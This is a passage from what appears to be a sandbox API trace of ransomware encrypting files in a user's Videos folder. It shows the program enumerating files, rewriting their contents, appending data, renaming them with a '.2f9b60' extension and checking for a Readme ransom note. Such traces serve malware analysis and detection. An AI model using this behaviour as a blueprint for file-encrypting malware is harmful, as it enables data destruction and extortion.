_Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0094.584] wcscat (in: _Dest=0x1b8664c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" [0094.584] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2f9b60-readme.txt")) returned 0x20 [0094.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866540) returned 1 Thread: id = 568 os_tid = 0xea4 [0094.589] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\qPL1uMmBSW6KhBxLHCfM.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qpl1ummbsw6khbxlhcfm.avi")) returned 0x20 [0094.589] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\qPL1uMmBSW6KhBxLHCfM.avi", dwFileAttributes=0x20) returned 1 [0094.589] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\qPL1uMmBSW6KhBxLHCfM.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qpl1ummbsw6khbxlhcfm.avi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd90 [0094.589] GetFileSizeEx (in: hFile=0xd90, lpFileSize=0x2566fe00 | out: lpFileSize=0x2566fe00*=19012) returned 1 [0094.589] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x4a40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.590] ReadFile (in: hFile=0xd90, lpBuffer=0x2566fd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2566fdc8, lpOverlapped=0x0 | out: lpBuffer=0x2566fd80*, lpNumberOfBytesRead=0x2566fdc8*=0x4, lpOverlapped=0x0) returned 1 [0094.591] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd60 [0094.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0094.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fca0 [0094.591] NtQuerySystemTime (in: CurrentTime=0x2566fcc0 | out: CurrentTime=0x2566fcc0*=132462177004246000) returned 0x0 [0094.591] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x6e265346 [0094.591] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x7fd0d317 [0094.591] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0xae971a3 [0094.591] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x3ac418c2 [0094.591] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x65c4cbeb [0094.591] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x4413dc75 [0094.591] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x473ac675 [0094.591] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x1c4af910 [0094.592] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x4d0691f6 [0094.592] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x552c8997 [0094.592] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x3ce3e22a [0094.592] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x713f6725 [0094.592] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x59e0b5d9 [0094.592] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0xb90cd58 [0094.592] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x37d87bdc [0094.592] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x3dc75642 [0094.592] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x106a41be [0094.592] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x596ad754 [0094.592] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x6bc323c1 [0094.592] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x2bf6f577 [0094.592] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x14ba2457 [0094.592] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x40fddeea [0094.592] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x602f5a18 [0094.592] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0xe9b5a11 [0094.592] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x737e9ebc [0094.592] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x3bee0b4f [0094.592] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x5dd0a594 [0094.593] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x33902aa1 [0094.593] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x5e364217 [0094.593] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x53b48b16 [0094.593] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x4275f842 [0094.593] RtlRandomEx (in: Seed=0x2566fcb0 | out: Seed=0x2566fcb0) returned 0x7b75a1aa [0094.604] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.604] ReadFile (in: hFile=0xd90, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2566fd20, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2566fd20*=0x3c00, lpOverlapped=0x0) returned 1 [0094.604] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866540 [0094.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd60 [0094.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd60) returned 1 [0094.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0094.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd60 [0094.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fca0 [0094.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fca0) returned 1 [0094.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866540) returned 1 [0094.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.605] WriteFile (in: hFile=0xd90, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2566fd20, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2566fd20*=0x3c00, lpOverlapped=0x0) returned 1 [0094.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0094.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd97300 [0094.608] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.609] WriteFile (in: hFile=0xd90, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2566fdd0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2566fdd0*=0x122, lpOverlapped=0x0) returned 1 [0094.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0094.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866540 [0094.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0094.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc70) returned 1 [0094.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9f2f0 [0094.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0094.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0094.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb20) returned 1 [0094.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866540) returned 1 [0094.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0094.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x1b86ef00 [0094.611] sprintf (in: _Dest=0x1b86ef00, _Format="%c%c" | out: _Dest="55") returned 2 [0094.611] sprintf (in: _Dest=0x1b86ef02, _Format="%c%c" | out: _Dest="59") returned 2 [0094.611] sprintf (in: _Dest=0x1b86ef04, _Format="%c%c" | out: _Dest="cc") returned 2 [0094.611] sprintf (in: _Dest=0x1b86ef06, _Format="%c%c" | out: _Dest="30") returned 2 [0094.612] sprintf (in: _Dest=0x1b86ef08, _Format="%c%c" | out: _Dest="97") returned 2 [0094.612] sprintf (in: _Dest=0x1b86ef0a, _Format="%c%c" | out: _Dest="5c") returned 2 [0094.612] sprintf (in: _Dest=0x1b86ef0c, _Format="%c%c" | out: _Dest="3a") returned 2 [0094.612] sprintf (in: _Dest=0x1b86ef0e, _Format="%c%c" | out: _Dest="7f") returned 2 [0094.612] sprintf (in: _Dest=0x1b86ef10, _Format="%c%c" | out: _Dest="0c") returned 2 [0094.612] sprintf (in: _Dest=0x1b86ef12, _Format="%c%c" | out: _Dest="c0") returned 2 [0094.612] sprintf (in: _Dest=0x1b86ef14, _Format="%c%c" | out: _Dest="dd") returned 2 [0094.612] sprintf (in: _Dest=0x1b86ef16, _Format="%c%c" | out: _Dest="4d") returned 2 [0094.612] sprintf (in: _Dest=0x1b86ef18, _Format="%c%c" | out: _Dest="d6") returned 2 [0094.612] sprintf (in: _Dest=0x1b86ef1a, _Format="%c%c" | out: _Dest="71") returned 2 [0094.612] sprintf (in: _Dest=0x1b86ef1c, _Format="%c%c" | out: _Dest="9b") returned 2 [0094.612] sprintf (in: _Dest=0x1b86ef1e, _Format="%c%c" | out: _Dest="b1") returned 2 [0094.612] sprintf (in: _Dest=0x1b86ef20, _Format="%c%c" | out: _Dest="1f") returned 2 [0094.612] sprintf (in: _Dest=0x1b86ef22, _Format="%c%c" | out: _Dest="46") returned 2 [0094.612] sprintf (in: _Dest=0x1b86ef24, _Format="%c%c" | out: _Dest="ca") returned 2 [0094.612] sprintf (in: _Dest=0x1b86ef26, _Format="%c%c" | out: _Dest="68") returned 2 [0094.612] sprintf (in: _Dest=0x1b86ef28, _Format="%c%c" | out: _Dest="24") returned 2 [0094.612] sprintf (in: _Dest=0x1b86ef2a, _Format="%c%c" | out: _Dest="5f") returned 2 [0094.612] sprintf (in: _Dest=0x1b86ef2c, _Format="%c%c" | out: _Dest="7b") returned 2 [0094.613] sprintf (in: _Dest=0x1b86ef2e, _Format="%c%c" | out: _Dest="f1") returned 2 [0094.613] sprintf (in: _Dest=0x1b86ef30, _Format="%c%c" | out: _Dest="8a") returned 2 [0094.613] sprintf (in: _Dest=0x1b86ef32, _Format="%c%c" | out: _Dest="40") returned 2 [0094.613] sprintf (in: _Dest=0x1b86ef34, _Format="%c%c" | out: _Dest="95") returned 2 [0094.613] sprintf (in: _Dest=0x1b86ef36, _Format="%c%c" | out: _Dest="a4") returned 2 [0094.613] sprintf (in: _Dest=0x1b86ef38, _Format="%c%c" | out: _Dest="6e") returned 2 [0094.613] sprintf (in: _Dest=0x1b86ef3a, _Format="%c%c" | out: _Dest="5a") returned 2 [0094.613] sprintf (in: _Dest=0x1b86ef3c, _Format="%c%c" | out: _Dest="58") returned 2 [0094.613] sprintf (in: _Dest=0x1b86ef3e, _Format="%c%c" | out: _Dest="2a") returned 2 [0094.613] sprintf (in: _Dest=0x1b86ef40, _Format="%c%c" | out: _Dest="22") returned 2 [0094.613] sprintf (in: _Dest=0x1b86ef42, _Format="%c%c" | out: _Dest="4a") returned 2 [0094.613] sprintf (in: _Dest=0x1b86ef44, _Format="%c%c" | out: _Dest="de") returned 2 [0094.613] sprintf (in: _Dest=0x1b86ef46, _Format="%c%c" | out: _Dest="02") returned 2 [0094.613] sprintf (in: _Dest=0x1b86ef48, _Format="%c%c" | out: _Dest="24") returned 2 [0094.613] sprintf (in: _Dest=0x1b86ef4a, _Format="%c%c" | out: _Dest="db") returned 2 [0094.613] sprintf (in: _Dest=0x1b86ef4c, _Format="%c%c" | out: _Dest="5d") returned 2 [0094.613] sprintf (in: _Dest=0x1b86ef4e, _Format="%c%c" | out: _Dest="34") returned 2 [0094.613] sprintf (in: _Dest=0x1b86ef50, _Format="%c%c" | out: _Dest="75") returned 2 [0094.613] sprintf (in: _Dest=0x1b86ef52, _Format="%c%c" | out: _Dest="b3") returned 2 [0094.613] sprintf (in: _Dest=0x1b86ef54, _Format="%c%c" | out: _Dest="57") returned 2 [0094.614] sprintf (in: _Dest=0x1b86ef56, _Format="%c%c" | out: _Dest="54") returned 2 [0094.614] sprintf (in: _Dest=0x1b86ef58, _Format="%c%c" | out: _Dest="66") returned 2 [0094.614] sprintf (in: _Dest=0x1b86ef5a, _Format="%c%c" | out: _Dest="44") returned 2 [0094.614] sprintf (in: _Dest=0x1b86ef5c, _Format="%c%c" | out: _Dest="7d") returned 2 [0094.614] sprintf (in: _Dest=0x1b86ef5e, _Format="%c%c" | out: _Dest="d0") returned 2 [0094.614] RtlInitAnsiString (in: DestinationString=0x2566fe48, SourceString="5559cc30975c3a7f0cc0dd4dd6719bb11f46ca68245f7bf18a4095a46e5a582a224ade0224db5d3475b3575466447dd0" | out: DestinationString="5559cc30975c3a7f0cc0dd4dd6719bb11f46ca68245f7bf18a4095a46e5a582a224ade0224db5d3475b3575466447dd0") [0094.614] RtlAnsiStringToUnicodeString (in: DestinationString=0x2566fe18, SourceString="5559cc30975c3a7f0cc0dd4dd6719bb11f46ca68245f7bf18a4095a46e5a582a224ade0224db5d3475b3575466447dd0", AllocateDestinationString=1 | out: DestinationString="5559cc30975c3a7f0cc0dd4dd6719bb11f46ca68245f7bf18a4095a46e5a582a224ade0224db5d3475b3575466447dd0") returned 0x0 [0094.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x1183a0 [0094.614] wcscat (in: _Dest=0x1b7ad5c0, _Source="5559cc30975c3a7f0cc0dd4d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5559cc30975c3a7f0cc0dd4d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5559cc30975c3a7f0cc0dd4d" [0094.614] wcscat (in: _Dest=0x1b7ad5c0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5559cc30975c3a7f0cc0dd4d.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5559cc30975c3a7f0cc0dd4d.2f9b60" [0094.614] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5559cc30975c3a7f0cc0dd4d.2f9b60", NtPathName=0x2566fdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5559cc30975c3a7f0cc0dd4d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0094.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1ce11600 [0094.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11600) returned 1 [0094.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0094.616] NtQueryInformationFile (in: FileHandle=0xd90, IoStatusBlock=0x2566fe58, FileInformation=0x2566fe68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2566fe58, FileInformation=0x2566fe68) returned 0x0 [0094.616] NtSetInformationFile (FileHandle=0xd90, IoStatusBlock=0x2566fe58, FileInformation=0x2566fe68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0094.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0094.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1183a0) returned 1 [0094.622] FlushFileBuffers (hFile=0xd90) returned 1 [0094.624] CloseHandle (hObject=0xd90) returned 1 [0094.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866540 [0094.625] wcscpy (in: _Dest=0x1b866540, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0094.625] wcscat (in: _Dest=0x1b866540, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" [0094.625] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2f9b60-readme.txt")) returned 0x20 [0094.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866540) returned 1 [0094.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b6d0) returned 1 Thread: id = 569 os_tid = 0xea8 [0094.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b866540 [0094.632] wcscpy (in: _Dest=0x1b866540, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" [0094.633] wcscat (in: _Dest=0x1b866540, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0094.633] wcscat (in: _Dest=0x1b866540, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\*" [0094.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd638c0 [0094.633] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\*", lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d94a660, ftCreationTime.dwHighDateTime=0x1d5d905, ftLastAccessTime.dwLowDateTime=0xbf4d3c70, ftLastAccessTime.dwHighDateTime=0x1d5e016, ftLastWriteTime.dwLowDateTime=0xbf4d3c70, ftLastWriteTime.dwHighDateTime=0x1d5e016, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c6d0 [0094.633] wcscmp (_String1=".", _String2=".") returned 0 [0094.633] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d94a660, ftCreationTime.dwHighDateTime=0x1d5d905, ftLastAccessTime.dwLowDateTime=0xbf4d3c70, ftLastAccessTime.dwHighDateTime=0x1d5e016, ftLastWriteTime.dwLowDateTime=0xbf4d3c70, ftLastWriteTime.dwHighDateTime=0x1d5e016, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.633] wcscmp (_String1="..", _String2=".") returned 1 [0094.633] wcscmp (_String1="..", _String2="..") returned 0 [0094.633] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdef05760, ftCreationTime.dwHighDateTime=0x1d5e27d, ftLastAccessTime.dwLowDateTime=0x53691ae0, ftLastAccessTime.dwHighDateTime=0x1d5d8f2, ftLastWriteTime.dwLowDateTime=0x53691ae0, ftLastWriteTime.dwHighDateTime=0x1d5d8f2, nFileSizeHigh=0x0, nFileSizeLow=0xd01a, dwReserved0=0x0, dwReserved1=0x0, cFileName="0-ea5V44EBL.avi", cAlternateFileName="0-EA5V~1.AVI")) returned 1 [0094.633] wcscmp (_String1="0-ea5V44EBL.avi", _String2=".") returned 1 [0094.633] wcscmp (_String1="0-ea5V44EBL.avi", _String2="..") returned 1 [0094.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ad5c0 [0094.633] wcscpy (in: _Dest=0x1b7ad5c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" [0094.633] wcscat (in: _Dest=0x1b7ad5c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0094.633] wcscat (in: _Dest=0x1b7ad5c0, _Source="0-ea5V44EBL.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\0-ea5V44EBL.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\0-ea5V44EBL.avi" [0097.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad5c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa48 [0098.000] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc79d9820, ftCreationTime.dwHighDateTime=0x1d5e29b, ftLastAccessTime.dwLowDateTime=0xbe3aab80, ftLastAccessTime.dwHighDateTime=0x1d5df88, ftLastWriteTime.dwLowDateTime=0xbe3aab80, ftLastWriteTime.dwHighDateTime=0x1d5df88, nFileSizeHigh=0x0, nFileSizeLow=0x10c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="bCrqCCH45-XZh VSR.flv", cAlternateFileName="BCRQCC~1.FLV")) returned 1 [0098.000] wcscmp (_String1="bCrqCCH45-XZh VSR.flv", _String2=".") returned 1 [0098.000] wcscmp (_String1="bCrqCCH45-XZh VSR.flv", _String2="..") returned 1 [0098.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202ad3f0 [0098.000] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" [0098.000] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0098.000] wcscat (in: _Dest=0x202ad3f0, _Source="bCrqCCH45-XZh VSR.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\bCrqCCH45-XZh VSR.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\bCrqCCH45-XZh VSR.flv" [0098.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1428 [0098.001] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f9930, ftCreationTime.dwHighDateTime=0x1d5dc5f, ftLastAccessTime.dwLowDateTime=0xc48ca5b0, ftLastAccessTime.dwHighDateTime=0x1d5e23a, ftLastWriteTime.dwLowDateTime=0xc48ca5b0, ftLastWriteTime.dwHighDateTime=0x1d5e23a, nFileSizeHigh=0x0, nFileSizeLow=0x1707e, dwReserved0=0x0, dwReserved1=0x0, cFileName="IIfnBnc9E bc.avi", cAlternateFileName="IIFNBN~1.AVI")) returned 1 [0098.001] wcscmp (_String1="IIfnBnc9E bc.avi", _String2=".") returned 1 [0098.001] wcscmp (_String1="IIfnBnc9E bc.avi", _String2="..") returned 1 [0098.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x202b0510 [0098.001] wcscpy (in: _Dest=0x202b0510, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" [0098.001] wcscat (in: _Dest=0x202b0510, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0098.001] wcscat (in: _Dest=0x202b0510, _Source="IIfnBnc9E bc.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\IIfnBnc9E bc.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\IIfnBnc9E bc.avi" [0098.002] CreateThread (in: lpThreadAttributes=0x0, 